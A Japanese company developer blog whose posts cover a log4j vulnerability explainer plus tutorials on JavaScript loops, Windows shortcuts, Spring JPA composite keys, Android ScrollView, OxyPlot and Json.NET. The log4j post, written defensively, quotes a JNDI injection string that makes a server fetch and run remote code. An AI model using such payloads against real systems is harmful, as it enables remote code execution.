10yroの開発日記

福岡にある株式会社10yro(トイロ)のエンジニアが書いています

log4jの脆弱性について

みなさんMinecraftしてますか?

私は飽きたりハマったりの繰り返しで数年やってますが楽しいですよね。

ちなみに世界一売れてるゲームらしいですよ。

先日、有名ライブラリのlog4jで任意のコードが実行できる脆弱性が先日発見され、 Minecraftでもこの脆弱性を利用した攻撃があり話題になりましたね。

詳細は↓を。

https://www.ipa.go.jp/security/ciadr/vul/alert20211213.html

って事で少し調べてみました。

原因


ログ出力する際に特定の文字列の場合は変数に置き換える機能があり、この置き換える機能がネットワーク経由でも実行可能とである為、任意のコードが実行可能となっています。( JNDI lookupと言いLDAP を利用する仕組みのようです) ざっくりですが、例えば${ldap://example.com/execute}をヘッダーに含めてリクエストを行いログに出力されると任意のJava Classファイルをダウンロードし実行されます。

影響

Log4jをシステムで使っていなくても、ライブラリが使用してたりするので影響範囲はかなり広いです。

また攻撃手法が公開されているので、早急にlog4jのバージョンアップをするかJndiLookup機能を無効かするのが良いです。

ちなみにMinecraftは公式パッチが早々にリリースされてました。

この手の脆弱性は、年末年始を気楽の過ごせるように早急に対応するのがいいですね!

【JavaScript】for文(繰り返し処理)の違い

JavaScriptに関わらず、どの言語でも「同じ処理を繰り返したい」ということが必ずあります。
その代表的な繰り返し処理のfor文の違いについてまとめました。

1. for

初期のころから使われている一般的な繰り返し処理で、配列を処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

for ([初期化式]; [条件式]; [加算式])

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
for (let i = 0; i < list.length; i++) {
  console.log(`${i}:${list[i]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

2. for in

オブジェクトにあるすべてのプロパティを処理する方法です。
※処理順序が保証されないため、インデックスの順序が重要になる配列には使用しない
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 in オブジェクト)

サンプル(配列)
変数 prop はインデックスになる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const prop in list) {
  console.log(`${prop}:${list[prop]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

サンプル(オブジェクト:連想配列)
変数 prop はプロパティ名になる。

const obj = {
  a: 'あいうえお',
  ka: 'かきくけこ',
  sa: 'さしすせそ',
  ta: 'たちつてと',
  na: 'なにぬねの'
};
for (const prop in obj) {
  console.log(`${prop}:${obj[prop]}`);
}

実行結果

a:あいうえお
ka:かきくけこ
sa:さしすせそ
ta:たちつてと
na:なにぬねの

developer.mozilla.org

3. for of

オブジェクトにあるすべてのプロパティを処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 of オブジェクト)

サンプル
変数 prop はプロパティ値になる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const [index, prop] of list.entries()) {
  console.log(`${index}:${prop}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

4. forEach

指定したコールバック関数を配列の要素ごとに処理する。
continue(スキップ)、break(終了)が使用できない。returnもコールバック関数内で処理されるだけなので、繰り返し処理の終了も行われない。
構文

arr.forEach(callback(currentValue[, index[, array]]) {
  // execute something
}[, thisArg]);

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
list.forEach((value, index) => {
  console.log(`${index}:${value}`);
})

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

5. 処理速度

処理速度がどのくらい違うのか計測してみました。
ブラウザにより処理速度は違いますが、それでもforが圧倒的です。

Chrome Edge
for 0.092041015625 ms 0.088867187500 ms
forEach 0.233886718750 ms 0.187988281250 ms
for of 0.410888671875 ms 0.238037109375 ms
for in 0.870849609375 ms 0.565917968750 ms

処理時間はconsole.time(xxx)とconsole.time(xxx)で簡単に計測できます。 developer.mozilla.org developer.mozilla.org

【Windows】バッチファイルをタスクバーにピン留め&ショートカットキーで起動する

Windows上でよく使うバッチファイルをワンクリックで起動したい場合やショートカットキーですぐに起動したいときの小技です。

バッチファイルをタスクバーにピン留め

バッチファイルは、そのままだとピン留めできないため、ちょっとした一工夫が必要です。
①バッチファイルを右クリック→「ショートカットの作成」を選択

f:id:tomi510dev:20211125125929p:plain

②作成されたショートカットを右クリック→「プロパティ」を選択

f:id:tomi510dev:20211125131413p:plain

③リンク先の先頭に「cmd.exe /c 」(/cの後は半角スペース)を追加し、適用ボタンをクリック
f:id:tomi510dev:20211125131442p:plain

※「cmd.exe /c 」→「C:\Windows\system32\cmd.exe /c 」に自動的に書き換えられます

④適用したショートカットをタスクバーにピン留め
※ドラッグ&ドロップ、または右クリック→「タスクバーにピン留め」で配置可能

 

これでピン留めされたタスクバーからワンクリックで起動可能となります。
ちなみに、このショートカットであればスタートメニューにもピン留め可能です。

 

タスクバーにピン留めしたアプリをショートカットキーで起動する

タスクバーにピン留めしたアプリは、Windowsキー + 数字キーで起動可能です。

f:id:tomi510dev:20211125132050p:plain

タスクバー上に配置されたアイコンが左から順番に1~0まで番号が割り振られています。

例えば、一番右端にピン留めしたバッチファイルは、[Windows]キー + [0]キーで起動できます。

また、すでに起動済みの場合、ウィンドウが最小化されている場合や背面にある場合は前面に移動され、前面に表示されている場合は最小化されます。

Spring Data JPA (Kotlin) で複合キーやグループ化されたEntityの定義方法

Spring JPA で複合主キーのテーブルのEntityを作成する方法を記載しています。

また、複合キーの中で一部のキーを用いてグループ化したEntityを作成する方法を紹介します。

※サンプルはKotlinとなっています。

1. 複合キーのEntity作成方法1

以下のような複合キーを持つテーブルのEntityを作成する場合

1-1. ID用のクラスを作成し、@Embeddable アノテーションを付与する。

1-2. 作成したIDクラスの型を持つIDカラムを作成し、@EmbeddedId アノテーションを付与する。

@Table(name = "transactions")
@Entity
open class Transactions : Serializable {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null

        @Column(name = "transaction_no", nullable = false)
        open var transactionNo: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

ID 用のクラスを別に作成しても良いですが、inner class としておけば無駄なクラスを増やさずに済み、

型(Class)指定する際は以下のように全クラス共通して [Class name].Idでアクセスできるため、どのクラスのIDであるというのもわかりやすいです。

(例:Repositoryの定義)

interface TransactionsRepository : JpaRepository<Transactions, Transactions.Id> {
}

IDの値を利用した、別Entityとの関連を持たせたい場合

これにプラスして定義することもできます。

@Table(name = "transactions")
@Entity
open class Transactions : Serializable {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null

        @Column(name = "transaction_no", nullable = false)
        open var transactionNo: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @ManyToOne
    @JoinColumn(name = "user_id", nullable = false, insertable = false, updatable = false)
    open var user: Users? = null

    @ManyToOne
    @JoinColumn(name = "product_id", nullable = false, insertable = false, updatable = false)
    open var product: Products? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

2. 複合キーのEntity作成方法2

先ほどの@Embeddableを利用する方法の他に@IdClass アノテーションを利用する方法もあります。

2-1. ID(キー)用のクラスを作成する。

2-2. @IdClass アノテーションを付与し、作成したId用のクラスを指定する。

2-3. 各IDとなるプロパティに @Id アノテーションを付与する。

2-1

open class TransactionsKey : Serializable {
    open var userId: Int? = null

    open var productId: Int? = null

    open var transactionNo: Int? = null
}

2-2, 2-3

@Table(name = "transactions")
@Entity
@IdClass(TransactionsKey::class)
open class Transactions : Serializable {
    @Id
    @Column(name = "user_id", nullable = false)
    open var userId: Int? = null

    @Id
    @Column(name = "product_id", nullable = false)
    open var productId: Int? = null

    @Id
    @Column(name = "transaction_no", nullable = false)
    open var transactionNo: Int? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

(Repositoryでの指定)

interface MInspectionItemDeformationDisplayRepository : JpaRepository<MInspectionItemDeformationDisplay, TransactionsKey> {
}

3. 複合キーのテーブルで一部キーのみを除いたEntityの作成方法

複合主キーのテーブルにおいて、キーの一部のみでその他はグループ化した形で取得したい場合

(例で言うとユーザが商品ごとに行った取引の最新日時を持つEntityを作成する場合 等)

3-1. @Immutableアノテーションを付与

3-2. @Subselectにて取得したい内容を記載

※ここではHibernateアノテーション (org.hibernate.annotations) @Subselectを使用しています。

@Entity
@Immutable
@Subselect("""
    SELECT user_id, product_id, MAX(transaction_datetime) AS transaction_datetime
    FROM transactions
    GROUP BY user_id, product_id
""")
open class LatestTransactions {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

【Android】ScrollViewでスクロールが表示されているかを判定する方法

こんばんは。

最近、「悪魔城ドラキュラx 血の輪廻」という横スクロールゲームをやったのですが、めちゃくちゃ難しかったです。

昔のゲームって鬼畜仕様多いですよね。

ってことでスクロールについての話題を。。

ScrollViewでスクロールが表示されているかを判定する方法

ScrollViewでスクロールが出ていた場合、メッセージ表示やレイアウト変更したいというケースが稀にあります。

例えば、下記のように文字追加を行いスクロールが出たら画面下部に「続きがあります」と表示したい場合など。。

方法としてはScrollViewとScrollViewの内側にいるLayoutViewの高さを比較し、LayoutViewの方が大きければスクロールが出ていると判断出来ます。

下の例だとscrollViewとscrollLayoutを比較。

f:id:toyo0110:20211110190658p:plain

具体的なソースはこちら

public class MainActivity extends AppCompatActivity {
    private TextView txtInfo;
    private ScrollView scrollView;
    private LinearLayout scrollLayout;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final Button btnAdd = findViewById(R.id.btnAdd);
        final Button btnClear = findViewById(R.id.btnClear);
        final TextView textView = findViewById(R.id.textView1);
        txtInfo = findViewById(R.id.txtInfo);
        scrollView = findViewById(R.id.scrollView);
        scrollLayout = findViewById(R.id.scrollLayout);

        for (int i = 0; i < 10; i++) {
            textView.append("aaaaaa\n");
        }

        // scrollLayoutがの可視状態が変わった場合または、変更があったい場合に動く
        scrollLayout.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
            @Override
            public void onGlobalLayout() {
                setInfo();
                // 初回描画時だけ判定したいのであれば、下記でイベントを削除する。
                //  scrollLayout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
            }
        });

        btnAdd.setOnClickListener(v -> {
                    textView.append("aaaaaa\n");
                }
        );
        
        btnClear.setOnClickListener(v -> {
            textView.setText("");
        });
    }

    private void setInfo() {

       // ScrollViewとScrollViewの内側にいるLayoutViewの高さを比較
        if (scrollView.getHeight() <= scrollLayout.getHeight()) {
            txtInfo.setText("続きがあります。");
        } else {
            txtInfo.setText("");
        }
    }
}

ポイントとしては「.getHeight()で高さをとっていますが描画後でないと正しい値が取れません。

onCreatenの中で「.getHeight()」で高さを取得してもScrollViewで描画が完了してない為、高さが0で返ってきてしまいます。

文字列追記後も描画反映まで少しラグがあるため、文字追加前の高さが取れます。

描画後に確実に判定するには、ViewTreeObserver.OnGlobalLayoutListenerで可視状態及び変更を監視し、LayoutViewの状態が変わったタイミングで判定する必要があります。

C# WPFでOxyPlotを使って折れ線グラフを描画する

今回はC#WPFで、OxyPlotを使って折れ線グラフを描画したいと思います。
折れ線グラフの横軸に時間(0時~23時)、縦軸は0~10のランダムな値を設定します。

事前準備

WPFのプロジェクトを作成し、NuGetでOxyPlot.Wpfをインストールします。
.NET.Core 3.1を使います。

PlotModelの生成

今回はOxyPlotのPlotViewを使います。
MainWindow.xaml.csにOxyPlot.PlotModelのプロパティを定義し、このプロパティに折れ線グラフのデータを設定します。

プロパティを追加。

/// <summary>
/// PlotModel
/// </summary>
public OxyPlot.PlotModel PlotModel { get; set; } = new OxyPlot.PlotModel();

折れ線グラフのデータを作成し、PlotModelプロパティにセット。

横軸(時間)の定義

13行目~22行目で、横軸(時間)の定義をしてPlotModelのAxesに設定しています。

縦軸の定義

25行目~35行目で、縦軸の定義をしてPlotModelのAxesに設定しています。

グラフの線の定義

38行目~47行目で、グラフの線の定義をしてPlotModelのSeriesに設定しています。 ItemsSourceに10行目で生成しているグラフのデータを設定します。

グラフの更新

最後に50行目でグラフの更新を行っています。 AxesやSeriesの定義を変更した場合はInvalidatePlotを行います。

Xaml

MainWindow.xamlでPlotViewを使えるようにWindowタグに以下を追加します。

xmlns:oxy="http://oxyplot.org/wpf"

PlotViewタグを追加し、csに追加したPlotModelのプロパティをBindingします。
ここに折れ線グラフが描画されます。

<oxy:PlotView Model="{Binding PlotModel}"></oxy:PlotView>

画面表示

上記コードを実行すると、以下のようなグラフが描画されました。

参考

いろいろなグラフが描画できるみたいです。
OxyPlotのドキュメントは以下となります。

oxyplot.readthedocs.io

ソースコード

以下に置いています。

github.com

C#でJsonを使う

C#Json.NETを使用して、クラスをJsonに変換したり(シリアライズ)、Jsonをクラスに変換したり(デシリアライズ)する方法です。

www.newtonsoft.com

事前準備

Visual StudioでNewtonsoft.Jsonというパッケージをインストールしてください。
パッケージのインストールについては以下を参照してください。
docs.microsoft.com

クラスをJson形式に変換する

まずはクラスをJson形式に変換する(シリアライズ)の方法です。
今回はユーザー情報を格納するUserModelというクラスを作って、そのクラスをJsonに変換します。

画面

以下のようなボタンが2つある画面を作りました。

f:id:nakahara-10yro:20210329091622p:plain

UserModel

シリアライズ、デシリアライズ対象のUserModelです。
Jsonに含めたくないプロパティには以下のアノテーションを付与しておきます。

[Newtonsoft.Json.JsonIgnore]

using System;
using System.Collections.Generic;
using System.Text;

namespace WpfJsonConverterSample
{
    /// <summary>
    /// User Model
    /// </summary>
    public class UserModel
    {
        /// <summary>
        /// CreatedDateTime
        /// </summary>
        [Newtonsoft.Json.JsonIgnore]
        public DateTime CreatedDateTime { get; set; }

        /// <summary>
        /// User Id
        /// </summary>
        public int UserId { get; set; }

        /// <summary>
        /// User Name
        /// </summary>
        public string UserName { get; set; }

        /// <summary>
        /// Birth Day
        /// </summary>
        public DateTime BirthDay { get; set; }

        /// <summary>
        /// Family
        /// </summary>
        public List<UserModel> Family { get; set; } = new List<UserModel>();

        /// <summary>
        /// FamilyCount
        /// </summary>
        [Newtonsoft.Json.JsonIgnore]
        public int FamilyCount
        {
            get
            {
                return this.Family.Count;
            }
        }
    }
}

クラスをJsonに変換する(シリアライズ)

// 出力ファイルパス
private const string FilePath = @"c:\temp\user.json";

/// <summary>
/// Serialize
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void BtnSerialize_Click(object sender, RoutedEventArgs e)
{
    // UserModelを生成
    var user = this.CreateUserModel();
    // 生成したUserModelをJsonに変換し、ファイルに出力する
    var json = Newtonsoft.Json.JsonConvert.SerializeObject(user);
    using (var sw = new StreamWriter(FilePath, false, Encoding.UTF8))
    {
        sw.Write(json);
    }
}

/// <summary>
/// CreateUserModel
/// </summary>
/// <returns></returns>
private UserModel CreateUserModel()
{
    var tanaka = new UserModel();
    tanaka.CreatedDateTime = DateTime.Now;
    tanaka.UserId = 1;
    tanaka.UserName = "田中 太郎";
    tanaka.BirthDay = new DateTime(1990, 12, 23);

    var mama = new UserModel();
    mama.CreatedDateTime = DateTime.Now;
    mama.UserId = 2;
    mama.UserName = "田中 花子";
    mama.BirthDay = new DateTime(1991, 3, 4);
    tanaka.Family.Add(mama);

    var child = new UserModel();
    child.CreatedDateTime = DateTime.Now;
    child.UserId = 3;
    child.UserName = "田中 一郎";
    child.BirthDay = new DateTime(2018, 11, 1);
    tanaka.Family.Add(child);

    return tanaka;
}

出力されたJsonは以下です。

{
    "UserId": 1,
    "UserName": "田中 太郎",
    "BirthDay": "1990-12-23T00:00:00",
    "Family": [
        {
            "UserId": 2,
            "UserName": "田中 花子",
            "BirthDay": "1991-03-04T00:00:00",
            "Family": []
        },
        {
            "UserId": 3,
            "UserName": "田中 一郎",
            "BirthDay": "2018-11-01T00:00:00",
            "Family": []
        }
    ]
}

以下のメソッドでクラスがJsonに変換されます。かんたんですね。

Newtonsoft.Json.JsonConvert.SerializeObject(user);

今回はJson(string変数)をファイルに出力しています。
データベースを利用したアプリケーションであれば、この文字列をDBに保存しておきます。

Jsonをクラスに変換する(デシリアライズ)

逆にJsonからUserModelを生成します。(デシリアライズ)

/// <summary>
/// Deserialize
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void BtnDeserialize_Click(object sender, RoutedEventArgs e)
{
    var json = File.ReadAllText(FilePath);
    var userModel = Newtonsoft.Json.JsonConvert.DeserializeObject<UserModel>(json);

    var result = Newtonsoft.Json.JsonConvert.SerializeObject(json);
    Debug.WriteLine(result);
}

ファイルの内容をすべて読み込み、読み込んだ内容を以下のメソッドに渡しています。
今回はGenericsメソッドを使って変換したいクラスを指定しておきます。

Newtonsoft.Json.JsonConvert.DeserializeObject<UserModel>(json);

まとめ

C#でクラスからJsonへの変換、Jsonからクラスへの変換はJson.NETを使うと楽です。
ソースコード一式は以下に置いていますので良かったら参考にしてください。

github.com